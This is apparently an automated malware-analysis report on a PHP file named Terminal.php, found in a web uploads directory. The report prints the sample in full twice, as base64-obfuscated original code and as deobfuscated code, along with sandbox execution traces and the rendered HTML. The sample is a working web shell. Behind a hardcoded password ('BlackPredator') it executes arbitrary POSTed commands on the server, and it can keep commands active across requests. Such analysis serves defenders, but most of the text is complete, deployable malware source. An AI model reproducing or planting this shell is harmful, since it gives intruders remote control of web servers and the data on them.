PHP Malware Analysis
Terminal.php
md5: 86dbe35ad51399f11a796b36280f7ab7
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Encoding
Execution
- exec (Deobfuscated, Original)
Input
- _POST (Deobfuscated, Original)
Title
- PHP Terminal Emulator (Deobfuscated, HTML, Original)
URLs
- http://www.w3.org/1999/xhtml (Deobfuscated, HTML, Original)
- http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd (Deobfuscated, Original)
Deobfuscated PHP code
<?php
$o1 = "BlackPredator";
session_start();
if (isset($_POST["clear"]) and $_POST["clear"] == "clear") {
k0();
}
if (!isset($_SESSION["persist_commands"]) or !isset($_SESSION["commands"])) {
$_SESSION["persist_commands"] = array();
$_SESSION["commands"] = array();
$_SESSION["command_responses"] = array();
}
$s2 = FALSE;
$u3 = FALSE;
if (isset($_POST["persist_command_id"]) and is_numeric($_POST["persist_command_id"])) {
$s2 = TRUE;
$y4 = $_POST["persist_command_id"];
if (count($_SESSION["persist_commands"]) == $y4) {
$u3 = TRUE;
} else {
$_SESSION["persist_commands"][$y4] = !$_SESSION["persist_commands"][$y4];
}
}
$r5 = '';
foreach ($_SESSION["persist_commands"] as $p6 => $x7) {
if ($x7) {
$v8 = $_SESSION["commands"][$p6];
if ($v8 != '') {
$r5 .= $v8 . "; ";
}
}
}
if (isset($_POST["command"])) {
$t9 = $_POST["command"];
if (!isset($_SESSION["logged_in"])) {
if ($t9 == $o1) {
$_SESSION["logged_in"] = TRUE;
$ea = array("Welcome, " . str_replace("\n", '', `whoami`) . "!!");
} else {
$ea = array("Incorrect Password");
}
array_push($_SESSION["persist_commands"], FALSE);
array_push($_SESSION["commands"], "Password: ");
array_push($_SESSION["command_responses"], $ea);
} else {
if ($t9 != '' and !$s2) {
if ($t9 == "logout") {
session_unset();
$ea = array("Successfully Logged Out");
} elseif ($t9 == "clear") {
k0();
} else {
exec($r5 . $t9 . " 2>&1", $ea, $vb);
if ($vb > 0 and false) {
$ea = array("Error");
}
}
} else {
$ea = array();
}
if ($t9 != "logout" and $t9 != "clear") {
if ($s2) {
if ($u3) {
array_push($_SESSION["persist_commands"], TRUE);
array_push($_SESSION["commands"], $t9);
array_push($_SESSION["command_responses"], $ea);
if ($t9 != '') {
$r5 = $r5 . $t9 . "; ";
}
}
} else {
array_push($_SESSION["persist_commands"], FALSE);
array_push($_SESSION["commands"], $t9);
array_push($_SESSION["command_responses"], $ea);
}
}
}
}
function k0()
{
if (isset($_SESSION["logged_in"])) {
$rc = TRUE;
} else {
$rc = FALSE;
}
session_unset();
if ($rc) {
$_SESSION["logged_in"] = TRUE;
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>PHP Terminal Emulator</title>
<style type="text/css">
* {
margin: 0;
padding: 0;
}
body {
background-color: #000000;
color: #00FF00;
font-family: monospace;
font-weight: bold;
font-size: 12px;
text-align: center;
}
input, textarea {
color: inherit;
font-family: inherit;
font-size: inherit;
font-weight: inherit;
background-color: inherit;
border: inherit;
}
.content {
width: 80%;
min-width: 400px;
margin: 40px auto;
text-align: left;
overflow: auto;
}
.terminal {
border: 1px solid #00FF00;
height: 500px;
position: relative;
overflow: auto;
padding-bottom: 20px;
}
.terminal .bar {
border-bottom: 1px solid #00FF00;
padding: 2px;
white-space: nowrap;
overflow: hidden;
}
.terminal .commands {
padding: 2px;
padding-right: 0;
}
.terminal #command {
width: 90%;
}
.terminal .colorize {
color: #0000FF;
}
.terminal .persist_button {
float: right;
border-width: 1px 0 1px 1px;
border-style: solid;
border-color: #00FF00;
clear: both;
}
</style>
</head>
<body>
<div class="content">
<div class="terminal" onclick="document.getElementById('command').focus();" id="terminal">
<div class="bar">
<?php
echo `whoami`, " - ", exec($r5 . "pwd");
?>
</div>
<form action="<?php
echo $_SERVER["PHP_SELF"];
?>" method="post" class="commands" id="commands">
<input type="hidden" name="persist_command_id" id="persist_command_id" />
<?php
if (!empty($_SESSION["commands"])) {
?>
<div>
<?php
foreach ($_SESSION["commands"] as $p6 => $t9) {
?>
<input type="button" value="<?php
if ($_SESSION["persist_commands"][$p6]) {
?>Un-Persist<?php
} else {
?>Persist<?php
}
?>" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';" onclick="toggle_persist_command(<?php
echo $p6;
?>);" class="persist_button" />
<pre><?php
echo "\$ ", $t9, "\n";
?></pre>
<?php
foreach ($_SESSION["command_responses"][$p6] as $kd) {
?>
<pre><?php
echo htmlentities($kd), "\n";
?></pre>
<?php
}
?>
<?php
}
?>
</div>
<?php
}
?>
$ <?php
if (!isset($_SESSION["logged_in"])) {
?>Password:
<input type="password" name="command" id="command" />
<?php
} else {
?>
<input type="text" name="command" id="command" autocomplete="off" onkeydown="return command_keyed_down(event);" />
<input type="button" value="Persist" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';" onclick="toggle_persist_command(<?php
if (isset($_SESSION["commands"])) {
echo count($_SESSION["commands"]);
} else {
echo 0;
}
?>);" class="persist_button" />
<?php
}
?>
</form>
</div>
</div>
<script type="text/javascript">
<?php
$qe = array();
if (!empty($_SESSION["commands"])) {
foreach ($_SESSION["commands"] as $t9) {
$df = str_replace("\\\\", "\\\\\\\\", $t9);
$df = str_replace("\\'", "\\\\\\'", $t9);
$qe[] = $df;
}
}
?>
var previous_commands = ['', '<?php
echo implode("\\', \\'", $qe);
?>', ''];
var current_command_index = previous_commands.length - 1;
document.getElementById('command').select();
document.getElementById('terminal').scrollTop = document.getElementById('terminal').scrollHeight;
function toggle_persist_command(command_id)
{
document.getElementById('persist_command_id').value = command_id;
document.getElementById('commands').submit();
}
function command_keyed_down(event)
{
var key_code = get_key_code(event);
if (key_code == 38) { //Up arrow
fill_in_previous_command();
} else if (key_code == 40) { //Down arrow
fill_in_next_command();
} else if (key_code == 9) { //Tab
} else if (key_code == 13) { //Enter
if (event.shiftKey) {
toggle_persist_command(<?php
if (isset($_SESSION["commands"])) {
echo count($_SESSION["commands"]);
} else {
echo 0;
}
?>);
return false;
}
}
return true;
}
function fill_in_previous_command()
{
current_command_index--;
if (current_command_index < 0) {
current_command_index = 0;
return;
}
document.getElementById('command').value = previous_commands[current_command_index];
}
function fill_in_next_command()
{
current_command_index++;
if (current_command_index >= previous_commands.length) {
current_command_index = previous_commands.length - 1;
return;
}
document.getElementById('command').value = previous_commands[current_command_index];
}
function get_key_code(event)
{
var event_key_code = event.keyCode;
return event_key_code;
}
</script>
<form action="<?php
echo $_SERVER["PHP_SELF"];
?>" method="post">
<input type="hidden" name="clear" value="clear" />
<input type="submit" value="Clear" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';" />
</form>
</body>
</html>Execution traces
data/traces/86dbe35ad51399f11a796b36280f7ab7_trace-1676245389.4713.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:43:35.369156]
1 0 1 0.000303 393536
1 3 0 0.000635 444184 {main} 1 /var/www/html/uploads/Terminal.php 0 0
2 4 0 0.000656 444184 base64_decode 0 /var/www/html/uploads/Terminal.php 1 1 'QmxhY2tQcmVkYXRvcg=='
2 4 1 0.000683 444264
2 4 R 'BlackPredator'
1 A /var/www/html/uploads/Terminal.php 1 $o1 = 'BlackPredator'
2 5 0 0.000722 444232 session_start 0 /var/www/html/uploads/Terminal.php 1 0
2 5 1 0.000784 444984
2 5 R TRUE
2 6 0 0.000800 444984 base64_decode 0 /var/www/html/uploads/Terminal.php 1 1 'Y2xlYXI='
2 6 1 0.000814 445056
2 6 R 'clear'
2 7 0 0.000831 444984 base64_decode 0 /var/www/html/uploads/Terminal.php 1 1 'cGVyc2lzdF9jb21tYW5kcw=='
2 7 1 0.000845 445072
2 7 R 'persist_commands'
2 8 0 0.000859 444984 base64_decode 0 /var/www/html/uploads/Terminal.php 1 1 'cGVyc2lzdF9jb21tYW5kcw=='
2 8 1 0.000873 445072
2 8 R 'persist_commands'
1 A /var/www/html/uploads/Terminal.php 1 _SESSION['persist_commands'] = []
2 9 0 0.000901 445360 base64_decode 0 /var/www/html/uploads/Terminal.php 1 1 'Y29tbWFuZHM='
2 9 1 0.000914 445432
2 9 R 'commands'
1 A /var/www/html/uploads/Terminal.php 1 _SESSION['commands'] = []
2 10 0 0.000938 445400 base64_decode 0 /var/www/html/uploads/Terminal.php 1 1 'Y29tbWFuZF9yZXNwb25zZXM='
2 10 1 0.000952 445488
2 10 R 'command_responses'
1 A /var/www/html/uploads/Terminal.php 1 _SESSION['command_responses'] = []
1 A /var/www/html/uploads/Terminal.php 1 $s2 = FALSE
1 A /var/www/html/uploads/Terminal.php 1 $u3 = FALSE
2 11 0 0.000996 445456 base64_decode 0 /var/www/html/uploads/Terminal.php 1 1 'cGVyc2lzdF9jb21tYW5kX2lk'
2 11 1 0.001011 445544
2 11 R 'persist_command_id'
1 A /var/www/html/uploads/Terminal.php 1 $r5 = ''
2 12 0 0.001035 445456 base64_decode 0 /var/www/html/uploads/Terminal.php 1 1 'cGVyc2lzdF9jb21tYW5kcw=='
2 12 1 0.001048 445544
2 12 R 'persist_commands'
2 13 0 0.001063 445456 base64_decode 0 /var/www/html/uploads/Terminal.php 1 1 'Y29tbWFuZA=='
2 13 1 0.001075 445528
2 13 R 'command'
2 14 0 0.001093 445456 shell_exec 0 /var/www/html/uploads/Terminal.php 72 1 'whoami'
2 14 1 0.004584 445528
2 14 R 'www-data\n'
2 15 0 0.004616 445456 base64_decode 0 /var/www/html/uploads/Terminal.php 72 1 'IC0g'
2 15 1 0.004632 445520
2 15 R ' - '
2 16 0 0.004646 445456 base64_decode 0 /var/www/html/uploads/Terminal.php 72 1 'cHdk'
2 16 1 0.004660 445520
2 16 R 'pwd'
2 17 0 0.004673 445488 exec 0 /var/www/html/uploads/Terminal.php 72 1 'pwd'
2 17 1 0.005260 445568
2 17 R '/var/www/html/uploads'
2 18 0 0.005289 445456 base64_decode 0 /var/www/html/uploads/Terminal.php 74 1 'UEhQX1NFTEY='
2 18 1 0.005304 445528
2 18 R 'PHP_SELF'
2 19 0 0.005320 445456 base64_decode 0 /var/www/html/uploads/Terminal.php 76 1 'Y29tbWFuZHM='
2 19 1 0.005338 445528
2 19 R 'commands'
2 20 0 0.005353 445456 base64_decode 0 /var/www/html/uploads/Terminal.php 87 1 'bG9nZ2VkX2lu'
2 20 1 0.005368 445528
2 20 R 'logged_in'
1 A /var/www/html/uploads/Terminal.php 98 $qe = []
2 21 0 0.005395 445456 base64_decode 0 /var/www/html/uploads/Terminal.php 98 1 'Y29tbWFuZHM='
2 21 1 0.005409 445528
2 21 R 'commands'
2 22 0 0.005424 445456 base64_decode 0 /var/www/html/uploads/Terminal.php 100 1 'XCcsIFwn'
2 22 1 0.005438 445528
2 22 R '\\\', \\\''
2 23 0 0.005451 445496 implode 0 /var/www/html/uploads/Terminal.php 100 2 '\\\', \\\'' []
2 23 1 0.005464 445560
2 23 R ''
2 24 0 0.005482 445456 base64_decode 0 /var/www/html/uploads/Terminal.php 125 1 'Y29tbWFuZHM='
2 24 1 0.005498 445528
2 24 R 'commands'
2 25 0 0.005511 445456 base64_decode 0 /var/www/html/uploads/Terminal.php 125 1 'Y29tbWFuZHM='
2 25 1 0.005524 445528
2 25 R 'commands'
2 26 0 0.005547 445456 base64_decode 0 /var/www/html/uploads/Terminal.php 159 1 'UEhQX1NFTEY='
2 26 1 0.005560 445528
2 26 R 'PHP_SELF'
1 3 1 0.005575 445456
0.005674 317632
TRACE END [2023-02-12 21:43:35.374561]
Generated HTML code
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>PHP Terminal Emulator</title>
<style type="text/css">
* {
margin: 0;
padding: 0;
}
body {
background-color: #000000;
color: #00FF00;
font-family: monospace;
font-weight: bold;
font-size: 12px;
text-align: center;
}
input, textarea {
color: inherit;
font-family: inherit;
font-size: inherit;
font-weight: inherit;
background-color: inherit;
border: inherit;
}
.content {
width: 80%;
min-width: 400px;
margin: 40px auto;
text-align: left;
overflow: auto;
}
.terminal {
border: 1px solid #00FF00;
height: 500px;
position: relative;
overflow: auto;
padding-bottom: 20px;
}
.terminal .bar {
border-bottom: 1px solid #00FF00;
padding: 2px;
white-space: nowrap;
overflow: hidden;
}
.terminal .commands {
padding: 2px;
padding-right: 0;
}
.terminal #command {
width: 90%;
}
.terminal .colorize {
color: #0000FF;
}
.terminal .persist_button {
float: right;
border-width: 1px 0 1px 1px;
border-style: solid;
border-color: #00FF00;
clear: both;
}
</style>
</head>
<body>
<div class="content">
<div class="terminal" onclick="document.getElementById('command').focus();" id="terminal">
<div class="bar">
www-data
- /var/www/html </div>
<form action="/Terminal.php" method="post" class="commands" id="commands">
<input type="hidden" name="persist_command_id" id="persist_command_id">
$ Password:
<input type="password" name="command" id="command">
</form>
</div>
</div>
<script type="text/javascript">
var previous_commands = ['', '', ''];
var current_command_index = previous_commands.length - 1;
document.getElementById('command').select();
document.getElementById('terminal').scrollTop = document.getElementById('terminal').scrollHeight;
function toggle_persist_command(command_id)
{
document.getElementById('persist_command_id').value = command_id;
document.getElementById('commands').submit();
}
function command_keyed_down(event)
{
var key_code = get_key_code(event);
if (key_code == 38) { //Up arrow
fill_in_previous_command();
} else if (key_code == 40) { //Down arrow
fill_in_next_command();
} else if (key_code == 9) { //Tab
} else if (key_code == 13) { //Enter
if (event.shiftKey) {
toggle_persist_command(0);
return false;
}
}
return true;
}
function fill_in_previous_command()
{
current_command_index--;
if (current_command_index < 0) {
current_command_index = 0;
return;
}
document.getElementById('command').value = previous_commands[current_command_index];
}
function fill_in_next_command()
{
current_command_index++;
if (current_command_index >= previous_commands.length) {
current_command_index = previous_commands.length - 1;
return;
}
document.getElementById('command').value = previous_commands[current_command_index];
}
function get_key_code(event)
{
var event_key_code = event.keyCode;
return event_key_code;
}
</script>
<form action="/Terminal.php" method="post">
<input type="hidden" name="clear" value="clear">
<input type="submit" value="Clear" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';">
</form>
</body></html>Original PHP code
<?php $o1=base64_decode('QmxhY2tQcmVkYXRvcg==');session_start();if(isset($_POST[base64_decode('Y2xlYXI=')])AND $_POST[base64_decode('Y2xlYXI=')]==base64_decode('Y2xlYXI=')){k0();}if(!isset($_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')])OR!isset($_SESSION[base64_decode('Y29tbWFuZHM=')])){$_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')]=array();$_SESSION[base64_decode('Y29tbWFuZHM=')]=array();$_SESSION[base64_decode('Y29tbWFuZF9yZXNwb25zZXM=')]=array();}$s2=FALSE;$u3=FALSE;if(isset($_POST[base64_decode('cGVyc2lzdF9jb21tYW5kX2lk')])AND is_numeric($_POST[base64_decode('cGVyc2lzdF9jb21tYW5kX2lk')])){$s2=TRUE;$y4=$_POST[base64_decode('cGVyc2lzdF9jb21tYW5kX2lk')];if(count($_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')])==$y4){$u3=TRUE;}else{$_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')][$y4]=!$_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')][$y4];}}$r5='';foreach($_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')]as $p6=>$x7){if($x7){$v8=$_SESSION[base64_decode('Y29tbWFuZHM=')][$p6];if($v8!=''){$r5.=$v8.base64_decode('OyA=');}}}if(isset($_POST[base64_decode('Y29tbWFuZA==')])){$t9=$_POST[base64_decode('Y29tbWFuZA==')];if(!isset($_SESSION[base64_decode('bG9nZ2VkX2lu')])){if($t9==$o1){$_SESSION[base64_decode('bG9nZ2VkX2lu')]=TRUE;$ea=array(base64_decode('V2VsY29tZSwg').str_replace(base64_decode('Cg=='),'',`whoami`).base64_decode('ISE='));}else{$ea=array(base64_decode('SW5jb3JyZWN0IFBhc3N3b3Jk'));}array_push($_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')],FALSE);array_push($_SESSION[base64_decode('Y29tbWFuZHM=')],base64_decode('UGFzc3dvcmQ6IA=='));array_push($_SESSION[base64_decode('Y29tbWFuZF9yZXNwb25zZXM=')],$ea);}else{if($t9!='' AND!$s2){if($t9==base64_decode('bG9nb3V0')){session_unset();$ea=array(base64_decode('U3VjY2Vzc2Z1bGx5IExvZ2dlZCBPdXQ='));}elseif($t9==base64_decode('Y2xlYXI=')){k0();}else{exec($r5.$t9.base64_decode('IDI+JjE='),$ea,$vb);if($vb>0 AND $ea==array()){$ea=array(base64_decode('RXJyb3I='));}}}else{$ea=array();}if($t9!=base64_decode('bG9nb3V0') AND $t9!=base64_decode('Y2xlYXI=')){if($s2){if($u3){array_push($_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')],TRUE);array_push($_SESSION[base64_decode('Y29tbWFuZHM=')],$t9);array_push($_SESSION[base64_decode('Y29tbWFuZF9yZXNwb25zZXM=')],$ea);if($t9!=''){$r5=$r5.$t9.base64_decode('OyA=');}}}else{array_push($_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')],FALSE);array_push($_SESSION[base64_decode('Y29tbWFuZHM=')],$t9);array_push($_SESSION[base64_decode('Y29tbWFuZF9yZXNwb25zZXM=')],$ea);}}}}function k0(){if(isset($_SESSION[base64_decode('bG9nZ2VkX2lu')])){$rc=TRUE;}else{$rc=FALSE;}session_unset();if($rc){$_SESSION[base64_decode('bG9nZ2VkX2lu')]=TRUE;}}?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>PHP Terminal Emulator</title>
<style type="text/css">
* {
margin: 0;
padding: 0;
}
body {
background-color: #000000;
color: #00FF00;
font-family: monospace;
font-weight: bold;
font-size: 12px;
text-align: center;
}
input, textarea {
color: inherit;
font-family: inherit;
font-size: inherit;
font-weight: inherit;
background-color: inherit;
border: inherit;
}
.content {
width: 80%;
min-width: 400px;
margin: 40px auto;
text-align: left;
overflow: auto;
}
.terminal {
border: 1px solid #00FF00;
height: 500px;
position: relative;
overflow: auto;
padding-bottom: 20px;
}
.terminal .bar {
border-bottom: 1px solid #00FF00;
padding: 2px;
white-space: nowrap;
overflow: hidden;
}
.terminal .commands {
padding: 2px;
padding-right: 0;
}
.terminal #command {
width: 90%;
}
.terminal .colorize {
color: #0000FF;
}
.terminal .persist_button {
float: right;
border-width: 1px 0 1px 1px;
border-style: solid;
border-color: #00FF00;
clear: both;
}
</style>
</head>
<body>
<div class="content">
<div class="terminal" onclick="document.getElementById('command').focus();" id="terminal">
<div class="bar">
<?php echo`whoami`,base64_decode('IC0g'),exec($r5.base64_decode('cHdk'));?>
</div>
<form action="<?php echo $_SERVER[base64_decode('UEhQX1NFTEY=')];?>" method="post" class="commands" id="commands">
<input type="hidden" name="persist_command_id" id="persist_command_id" />
<?php if(!empty($_SESSION[base64_decode('Y29tbWFuZHM=')])){?>
<div>
<?php foreach($_SESSION[base64_decode('Y29tbWFuZHM=')]as $p6=>$t9){?>
<input type="button" value="<?php if($_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')][$p6]){?>Un-Persist<?php }else{?>Persist<?php }?>" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';" onclick="toggle_persist_command(<?php echo $p6;?>);" class="persist_button" />
<pre><?php echo base64_decode('JCA='),$t9,base64_decode('Cg==');?></pre>
<?php foreach($_SESSION[base64_decode('Y29tbWFuZF9yZXNwb25zZXM=')][$p6]as $kd){?>
<pre><?php echo htmlentities($kd),base64_decode('Cg==');?></pre>
<?php }?>
<?php }?>
</div>
<?php }?>
$ <?php if(!isset($_SESSION[base64_decode('bG9nZ2VkX2lu')])){?>Password:
<input type="password" name="command" id="command" />
<?php }else{?>
<input type="text" name="command" id="command" autocomplete="off" onkeydown="return command_keyed_down(event);" />
<input type="button" value="Persist" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';" onclick="toggle_persist_command(<?php if(isset($_SESSION[base64_decode('Y29tbWFuZHM=')])){echo count($_SESSION[base64_decode('Y29tbWFuZHM=')]);}else{echo 0;}?>);" class="persist_button" />
<?php }?>
</form>
</div>
</div>
<script type="text/javascript">
<?php $qe=array();if(!empty($_SESSION[base64_decode('Y29tbWFuZHM=')])){foreach($_SESSION[base64_decode('Y29tbWFuZHM=')]as $t9){$df=str_replace(base64_decode('XFw='),base64_decode('XFxcXA=='),$t9);$df=str_replace(base64_decode('XCc='),base64_decode('XFxcJw=='),$t9);$qe[]=$df;}}?>
var previous_commands = ['', '<?php echo implode(base64_decode('XCcsIFwn'),$qe)?>', ''];
var current_command_index = previous_commands.length - 1;
document.getElementById('command').select();
document.getElementById('terminal').scrollTop = document.getElementById('terminal').scrollHeight;
function toggle_persist_command(command_id)
{
document.getElementById('persist_command_id').value = command_id;
document.getElementById('commands').submit();
}
function command_keyed_down(event)
{
var key_code = get_key_code(event);
if (key_code == 38) { //Up arrow
fill_in_previous_command();
} else if (key_code == 40) { //Down arrow
fill_in_next_command();
} else if (key_code == 9) { //Tab
} else if (key_code == 13) { //Enter
if (event.shiftKey) {
toggle_persist_command(<?php if(isset($_SESSION[base64_decode('Y29tbWFuZHM=')])){echo count($_SESSION[base64_decode('Y29tbWFuZHM=')]);}else{echo 0;}?>);
return false;
}
}
return true;
}
function fill_in_previous_command()
{
current_command_index--;
if (current_command_index < 0) {
current_command_index = 0;
return;
}
document.getElementById('command').value = previous_commands[current_command_index];
}
function fill_in_next_command()
{
current_command_index++;
if (current_command_index >= previous_commands.length) {
current_command_index = previous_commands.length - 1;
return;
}
document.getElementById('command').value = previous_commands[current_command_index];
}
function get_key_code(event)
{
var event_key_code = event.keyCode;
return event_key_code;
}
</script>
<form action="<?php echo $_SERVER[base64_decode('UEhQX1NFTEY=')];?>" method="post">
<input type="hidden" name="clear" value="clear" />
<input type="submit" value="Clear" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';" />
</form>
</body>
</html>